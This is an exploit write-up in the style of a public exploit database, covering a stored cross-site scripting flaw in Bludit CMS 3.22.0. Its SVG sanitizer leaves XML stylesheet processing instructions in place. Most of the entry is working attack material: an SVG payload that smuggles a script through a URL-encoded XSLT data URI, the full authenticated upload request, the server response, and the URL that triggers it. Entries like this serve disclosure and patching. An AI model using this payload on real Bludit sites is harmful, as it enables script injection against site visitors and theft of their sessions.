# Exploit Title: Bludit CMS - Stored XSS 
# Date: 2026-07-30
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit/releases/tag/3.22.0
# Version: 3.22.0
# Tested on: Windows 10 x64

## Description:

sanitizeSVG() strips script/on* but does not remove XML processing instructions.
Uploading an SVG with <?xml-stylesheet?> XSLT (method=html) results in stored XSS
when the file is opened top-level as image/svg+xml.

## Payload (payload.svg):

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg>

## Upload request (Author + session):

POST /admin/ajax/upload-images HTTP/1.1
Host: 127.0.0.1
Cookie: BLUDIT-KEY=SESSION
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="tokenCSRF"

CSRF_TOKEN
------x
Content-Disposition: form-data; name="images[]"; filename="payload.svg"
Content-Type: image/svg+xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg>
------x--

## Response:

{"status":0,"message":"Images uploaded.","images":["payload.svg"]}

## Open:

http://127.0.0.1/bl-content/uploads/payload.svg